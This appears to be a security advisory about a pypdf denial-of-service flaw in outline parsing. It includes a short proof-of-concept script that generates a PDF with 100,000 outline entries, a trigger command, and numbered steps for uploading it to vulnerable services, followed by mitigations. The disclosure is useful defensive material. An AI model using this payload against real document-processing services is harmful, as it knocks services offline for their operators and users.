Listen to this Post
CVE-2026-84310 is a moderate-severity vulnerability in the pypdf library, a pure-Python PDF toolkit widely used for document processing. The flaw resides in the `_get_outline` function within the `pypdf/_doc_common.py` module, which is responsible for parsing and retrieving a PDF’s outline (bookmark) structure. In versions prior to 6.16.1, this traversal mechanism lacks two critical safeguards: a global limit on the total number of outline entries processed, and a maximum depth for nested outline hierarchies.
An attacker can exploit this by crafting a malicious PDF that contains either an excessively large number of outline items or deeply nested outlines that reuse paths in a recursive manner. When the vulnerable library processes such a document, the `_get_outline` function enters prolonged execution loops without any abort mechanism, consuming disproportionate amounts of CPU time and system memory. This uncontrolled resource consumption aligns with CWE-405 (Asymmetric Resource Consumption) and CWE-834 (Excessive Iteration). The vulnerability is particularly dangerous in server-side applications that accept user-uploaded PDFs for processing, as it enables remote denial-of-service (DoS) attacks against document management systems, cloud infrastructure, or any service relying on pypdf. The issue is fixed in pypdf version 6.16.1.
DailyCVE Form:
Platform: pypdf
Version: < 6.16.1
Vulnerability: Resource Exhaustion
Severity: Medium (CVSS 4.8)
date: 2026-09-01
Prediction: 2026-09-08
What Undercode Say:
Analytics
The vulnerability can be triggered by calling `reader.outlines` on a malicious PDF. Below is a demonstration of the affected code path and the patch applied in version 6.16.1.
Check pypdf version python -c "import pypdf; print(pypdf.<strong>version</strong>)" Vulnerable code path (pypdf/_doc_common.py) def _get_outline(self): No limits on entry count or nesting depth ...
Proof-of-Concept: Crafting a PDF with excessive outlines
from pypdf import PdfReader, PdfWriter
from pypdf.generic import Destination, NumberObject
writer = PdfWriter()
for i in range(100000):
dest = Destination(f"{i}", NumberObject(i), "/Fit")
writer.add_outline_item(dest)
with open("malicious.pdf", "wb") as f:
writer.write(f)
Trigger the vulnerability
python -c "from pypdf import PdfReader; PdfReader('malicious.pdf').outlines"
Exploit: (Educational Purposes!)
- Generate a PDF with 100,000+ outline entries using the script above.
- Upload the crafted PDF to a service using pypdf < 6.16.1.
- The service will experience high CPU and memory consumption upon parsing.
Protection: from this CVE
- Upgrade: Update to pypdf >= 6.16.1 immediately.
- Workaround: Apply the changes from PR 3966 if upgrade is not possible.
- Sandboxing: Process untrusted PDFs in isolated environments with strict CPU/memory quotas.
- Validation: Implement pre-scanning for abnormally large outline structures before processing.
Impact
- Denial of Service: Applications become unresponsive or crash due to resource exhaustion.
- Operational Disruption: Shared infrastructure can be degraded, affecting multiple services.
- Remote Exploitation: Attackers can trigger the flaw via file upload interfaces.
- Supply Chain Risk: Any downstream project depending on vulnerable pypdf versions is affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
